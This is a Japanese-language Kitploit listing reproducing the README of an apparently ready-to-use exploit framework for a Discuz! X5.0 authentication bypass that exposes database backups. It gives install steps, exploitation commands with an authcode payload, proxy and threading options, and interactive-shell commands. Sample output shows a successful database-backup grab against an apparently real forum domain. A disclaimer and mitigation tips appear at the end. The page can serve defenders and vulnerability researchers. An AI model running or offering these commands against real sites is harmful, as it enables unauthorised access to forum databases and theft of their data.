Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Discuz-X5.0-Authentication-Bypass-Exploit-Framework — Discuz! X5.0 Authentication Bypass Exploit Framework (CVE-2026-49952) - UC_KEY暗号化オラクルのトークン再利用により、認証なしでデータベースバックアップへアクセスできる重大な脆弱性。CVSS 9.1。バージョン検出、マルチペイロード攻撃、対話型シェル、自動エクスプロイトを備えたフル機能ツール。認可されたテストのみ。 | Kitploit
ツール/GitHubGitHub/cerberusmrxi/discuz-x5.0-authentication-bypass-exploit-framework
認証と認可エクスプロイトフレームワーク脆弱性分析ウェブアプリケーション悪用情報収集ペネトレーションテストデータベースセキュリティ
GitHubcerberusmrxi/discuz-x5.0-authentication-bypass-exploit-framework

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Discuz-X5.0-Authentication-Bypass-Exploit-Framework

Discuz! X5.0 Authentication Bypass Exploit Framework (CVE-2026-49952) - UC_KEY暗号化オラクルのトークン再利用により、認証なしでデータベースバックアップへアクセスできる重大な脆弱性。CVSS 9.1。バージョン検出、マルチペイロード攻撃、対話型シェル、自動エクスプロイトを備えたフル機能ツール。認可されたテストのみ。

リポジトリを見る
1312ヶ月前未レビュー

Discuz! X5.0 認証バイパスエクスプロイトフレームワーク

Security CVE CVSS Python License Version

⚡ CVE-2026-49952 | CVSS 9.1(クリティカル) | バージョン 1.0.0

Discuz! X5.0 の重大な認証バイパス脆弱性を識別し、実証するために設計された、プロフェッショナルなペネトレーションテストツールです。

D1

📋 目次

  • ⚠️ 免責事項

  • 🔍 概要

  • 🎯 脆弱性の詳細

  • ✨ 機能

  • 📦 インストール

  • 🚀 クイックスタート

  • 💻 使用例

  • 🖥️ 対話型シェル

  • 🛡️ セキュリティに関する考慮事項

  • 🔧 トラブルシューティング

  • 📄 ライセンス


⚠️ 免責事項

重要なお知らせこのツールは教育目的および許可されたセキュリティテスト専用に提供されています。所有していない、またはテストの明示的な許可がないシステムにはこのツールを使用しないでください。コンピュータシステムへの不正アクセスは違法かつ非倫理的です。著者は、このツールの誤用または損害について一切の責任を負いません。このツールを使用することで、適用されるすべての法律および規制を遵守することに同意したものとみなされます。


🔍 概要

Discuz! X5.0 認証バイパスエクスプロイトフレームワークは、2026年3月20日から2026年5月1日までにリリースされた Discuz! X5.0 バージョンにおける重大な認証バイパス脆弱性(CVE-2026-49952)を識別し、実証するために設計されています。

この脆弱性により、認証されていない攻撃者は UC_KEY 暗号化オラクルを悪用してトークンを再利用し、データベースバックアップ機能(dbbak.php)にアクセスできる可能性があり、機密性の高いデータベースの内容が露出する恐れがあります。

主な特徴

  • 🏆 CVSS スコア: 9.1(クリティカル)

  • 🔐 影響: 認証バイパス

  • 📂 アクセス: データベースバックアップファイル

  • ⚡ 複雑性: 低(悪用が容易)

  • 🎯 対象: Discuz! X5.0(20260320 - 20260501)


🎯 脆弱性の詳細

技術概要

属性詳細
脆弱性タイプ認証バイパス
CVE IDCVE-2026-49952
CVSS バージョン3.1
CVSS スコア9.1(クリティカル)
攻撃ベクトルネットワーク
攻撃の複雑性低
必要な特権なし
ユーザー操作不要
機密性への影響高
完全性への影響高
可用性への影響高
エクスプロイトコードの成熟度実用的
修正レベル公式修正あり

根本原因

この脆弱性は dbbak.php エンドポイントに存在し、トークン検証メカニズムが UC_KEY 暗号化オラクルに依存しています。ログインリクエスト(member.php)に特定のペイロードを仕込むことで、攻撃者は適切な認証なしにデータベースバックアップ機能へアクセスするために再利用できる有効な認証トークンを取得できます。

影響を受けるバージョン

  • ❌ Discuz! X5.0(20260320 - 20260501)- 脆弱

  • ✅ Discuz! X5.0(20260510+)- 修正済み


✨ 機能

コア機能

  • 🔍 バージョン検出: 自動フィンガープリントと Discuz! バージョンの識別。

  • ⚡ マルチペイロード攻撃: 複数のペイロードバリアントの並列テスト。

  • 🖥️ 対話型シェル: 手動エクスプロイトのためのフル機能のコマンドラインインターフェース。

  • 🚀 自動エクスプロイト: 最小限の設定でワンクリックエクスプロイト。

  • 📊 結果の保存: エクスプロイト結果をタイムスタンプ付きファイルにエクスポート。

  • 🌐 プロキシサポート: ネットワークトラバーサルのための HTTP/HTTPS プロキシ設定。

  • 🎯 スレッドスキャン: パフォーマンス最適化のための設定可能なスレッド数。

  • 🎨 カラー出力: プロフェッショナルな色分けされたターミナル出力。

高度な機能

  • 🔐 SSL/TLS サポート: HTTP および HTTPS の両方のターゲットを処理。

  • 🔄 セッション管理: 永続的なセッション状態を維持。

  • 📦 ペイロードのカスタマイズ: カスタムペイロードインジェクションのサポート。

  • 🎯 ターゲット検証: エクスプロイト前に Discuz! インストールを検証。


📦 インストール

前提条件

  • Python: バージョン 3.7 以上

  • Pip: Python パッケージマネージャー

ソースからのインストール

# Clone the repository
git clone https://github.com/CerberusMrXi/Discuz-X5.0-Authentication-Bypass-Exploit-Framework
cd Discuz-X5.0-Authentication-Bypass-Exploit-Framework

# Install required packages
pip install -r requirements.txt

# Verify installation
python3 exploit.py --help

Docker でのインストール

# Build the Docker image
docker build -t exploit .

# Run the container
docker run -it --rm exploit http://target.com

🚀 クイックスタート

基本的な使用方法

# Simple exploitation
python3 exploit.py http://target.com

# With output file
python3 exploit.py http://target.com --output results.txt

# Verbose mode for debugging
python3 exploit.py http://target.com --verbose

高度な使用方法

# With proxy and custom threads
python3 exploit.py https://target.com --proxy http://127.0.0.1:8080 --threads 10

# Custom payload
python3 exploit.py http://target.com --payload "admin|1|0|0"

💻 使用例

例1: 基本的なエクスプロイト

python3 exploit.py http://discuz.eda.com.my
📤 予想出力
██████╗ ██╗███████╗██╗   ██╗███████╗███████╗██████╗ 
██╔══██╗██║██╔════╝██║   ██║╚══███╔╝╚══███╔╝╚════██╗
██║  ██║██║███████╗██║   ██║  ███╔╝  ███╔╝  █████╔╝
██║  ██║██║╚════██║██║   ██║ ███╔╝  ███╔╝  ██╔═══╝ 
██████╔╝██║███████║╚██████╔╝███████╗███████╗███████╗
╚═════╝ ╚═╝╚══════╝ ╚═════╝ ╚══════╝╚══════╝╚══════╝

Discuz! X5.0 Authentication Bypass Exploit Framework
CVE-2026-49952 | CVSS: 9.1 (Critical )
Author: Sudeepa Wanigarathna | Version: 1.0.0
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

[14:32:15] ► Phase 1: Target Reconnaissance
[14:32:15] ➜ Testing connectivity to http://discuz.eda.com.my
[14:32:16] ➜ Detecting Discuz! version...
[14:32:16] ✔ Discuz! Version: X5.0
[14:32:16] ⚡ Target is running a vulnerable version!
[14:32:16] ► Phase 2: Authcode Acquisition
[14:32:16] ➜ Extracting authcode with payload: admin|1|0|0
[14:32:17] ✔ Authcode: aBcDeFgHiJkLmNoPqRsT...
[14:32:17] ► Phase 3: Exploitation
[14:32:17] ➜ Executing exploit (operation: backup )
[14:32:18] ✔ Exploit successful!
[14:32:18] ✔ Results saved to discuz_exploit_20260724_143218.txt

╔══════════════════════════════════════════════════════════╗
║  EXPLOIT SUCCESSFUL                                      ║
╠══════════════════════════════════════════════════════════╣
║  Target: http://discuz.eda.com.my                        ║
║  Authcode: aBcDeFgHiJkLmNoPqRsT...                       ║
║  Status: Database backup accessed                        ║
║  Data Size: 24567 bytes                                  ║
║  Saved to: discuz_exploit_20260724_143218.txt            ║
╚══════════════════════════════════════════════════════════╝

🖥️ 対話型シェル

手動エクスプロイト用の対話型シェルを起動します:

python3 discuz_exploit.py http://target.com --interactive

利用可能なコマンド

コマンド説明例
help利用可能なすべてのコマンドを表示help
scanDiscuz! バージョンを検出し、脆弱性を確認scan
get [payload]authcode を抽出(カスタムペイロード任意)`get admin
exploit [op]エクスプロイトを実行(デフォルト: backup)exploit backup
save結果をファイルに保存save
infoセッション情報を表示info
clearターミナル画面をクリアclear
exit / quit対話型シェルを終了exit

🛡️ セキュリティに関する考慮事項

✅ 推奨事項

  • 自分が所有している、またはテストの明示的な許可を得ているシステムでのみ使用してください。

  • テスト前に書面による承認を取得してください。

  • 責任ある情報開示の慣行に従ってください。

  • 脆弱性をベンダーに適切に報告してください。

  • 学習目的では隔離されたラボ環境で使用してください。

❌ 禁止事項

  • 許可なく本番システムに対して使用しないでください。

  • エクスプロイトで取得したデータを公開しないでください。

  • 違法行為やデータ窃盗に使用しないでください。

  • テスト中にデータを変更または削除しないでください。

  • 同意なしにエクスプロイトしないでください。

緩和策の推奨事項

システム管理者向け:

  1. 直ちに更新: Discuz! X5.0(20260510+)以降にアップグレードしてください。

  2. エンドポイントの無効化: 不要な場合は dbbak.php を一時的に無効化してください。

  3. ログの監視: 不審な member.php および dbbak.php へのアクセスを監視してください。

  4. WAF ルール: 悪意のあるリクエストをブロックする Web アプリケーションファイアウォールのルールを実装してください。

  5. IP ホワイトリスト: バックアップエンドポイントへのアクセスを信頼できる IP アドレスに制限してください。


🔧 トラブルシューティング

❌ 接続エラー
Error: Failed to connect to target

Solutions:
• Check if target URL is correct
• Verify network connectivity
• Check for firewalls blocking access
• Try with proxy: --proxy http://your_proxy:port
• Ensure target is online and accessible
🚫 認証失敗
Error: Authentication failed or invalid authcode

Solutions:
• Ensure the target Discuz! version is vulnerable
• Try different payloads for authcode extraction
• Check for network issues or WAF interference
• Run in verbose mode (--verbose ) for more details

📄 ライセンス

このプロジェクトはMIT ライセンスの下でライセンスされています。

ツールをダウンロード